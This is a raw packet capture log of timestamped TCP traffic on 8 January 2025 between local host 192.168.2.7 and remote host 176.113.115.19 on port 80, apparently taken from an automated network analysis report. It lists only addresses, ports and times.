Jan 8, 2025 09:42:33.602761984 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602775097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602786064 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602790117 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602799892 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602807045 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602821112 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602844000 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602857113 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602889061 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.602901936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602914095 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602920055 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.602968931 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.637659073 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637680054 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637696981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637712002 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637725115 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637737036 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637759924 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.637788057 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.637793064 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637805939 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637821913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637834072 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.637852907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637864113 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.637866974 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637887955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637897015 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.637906075 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637917995 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637928009 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.637929916 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.637943029 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.637953043 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.637984991 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.648509026 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648535013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648565054 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.648583889 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.648605108 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648618937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648632050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648642063 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.648663998 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.648674965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648677111 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.648686886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648699999 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648714066 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648715973 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.648735046 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.648762941 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.648897886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648926973 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648938894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648943901 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.648952007 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648962975 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.648972034 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.648982048 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.648991108 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.649000883 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.649003983 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.649018049 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.649024010 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.649029970 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.649036884 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.649040937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.649059057 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.649070978 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.649076939 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.649085045 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.649085999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.649118900 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.649133921 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.686070919 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.686079025 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.686085939 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.686091900 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.686103106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.686115026 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.686160088 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.686196089 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.686269999 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.686281919 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.686315060 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.686347008 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.686996937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687012911 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687026024 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687048912 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687056065 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687120914 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687133074 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687144041 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687156916 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687163115 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687187910 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687207937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687221050 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687222958 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687248945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687249899 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687263012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687264919 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687278986 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687287092 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687292099 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687303066 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687305927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687324047 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687339067 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687345982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687346935 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687357903 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687370062 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687375069 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687381983 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687388897 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687396049 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687407970 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687411070 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687421083 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.687433004 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687452078 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.687475920 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688062906 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688090086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688102961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688107967 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688113928 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688127995 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688127995 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688143969 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688173056 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688206911 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688224077 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688239098 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688252926 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688256025 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688287973 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688290119 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688311100 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688311100 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688333988 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688334942 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688344955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688352108 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688357115 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688366890 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688369036 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688381910 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688389063 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688394070 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688426971 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688426971 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688441038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688452959 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688466072 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688492060 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688497066 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688497066 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688503981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688524961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688524008 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688533068 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688544989 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688553095 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688556910 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688570023 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688572884 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688595057 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688606977 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688606977 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688608885 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688635111 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688635111 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688647032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688657045 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688693047 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688698053 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688711882 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688724041 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688734055 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688739061 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688765049 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688772917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688786030 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688796997 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688812971 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688813925 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688827038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688838959 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688854933 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688858986 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688875914 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688878059 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688894033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688905001 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688920021 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688924074 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688935041 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688944101 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688946009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688960075 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.688962936 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688982010 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.688994884 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.689002037 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.689048052 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.689062119 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.689075947 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.689100981 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.689126015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.689137936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.689150095 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.689162016 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.689167023 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.689173937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.689188957 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.689217091 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.724472046 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724483013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724503994 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724512100 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724555969 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.724562883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724570990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724584103 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724594116 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.724615097 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.724627018 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.724724054 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724733114 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724740028 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724745989 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724752903 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724760056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724766970 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.724770069 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.724786043 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.724822044 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.735275984 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735281944 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735289097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735304117 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735320091 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735327005 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735349894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735353947 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.735357046 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735364914 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735379934 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.735398054 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.735413074 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.735452890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735459089 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735465050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735486031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735492945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735506058 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735515118 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.735541105 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.735552073 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735570908 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735579014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735584974 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735615969 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.735626936 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.735760927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735768080 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735774994 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735781908 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735790014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735800982 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.735804081 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.735836029 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.735857964 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.772783995 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.772802114 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.772809029 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.772835016 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.772845030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.772905111 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.772917986 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.772924900 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.772945881 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.772979021 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.772998095 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.773030996 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.773757935 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.773765087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.773777962 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.773785114 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.773854017 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.773935080 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.773941994 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.773947954 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.773960114 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.773964882 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.773971081 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.773992062 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774015903 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774029016 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774035931 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774040937 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774046898 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774055004 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774061918 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774089098 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774113894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774115086 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774120092 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774163961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774167061 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774169922 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774219036 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774260044 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774267912 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774286032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774291992 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774298906 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774312019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774318933 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774324894 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774334908 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774355888 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774380922 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774725914 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774734020 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774746895 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774780035 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774782896 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774811029 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774830103 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:33.774836063 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:33.774836063 CET	80	49703	176.113.115.19	192.168.2.7
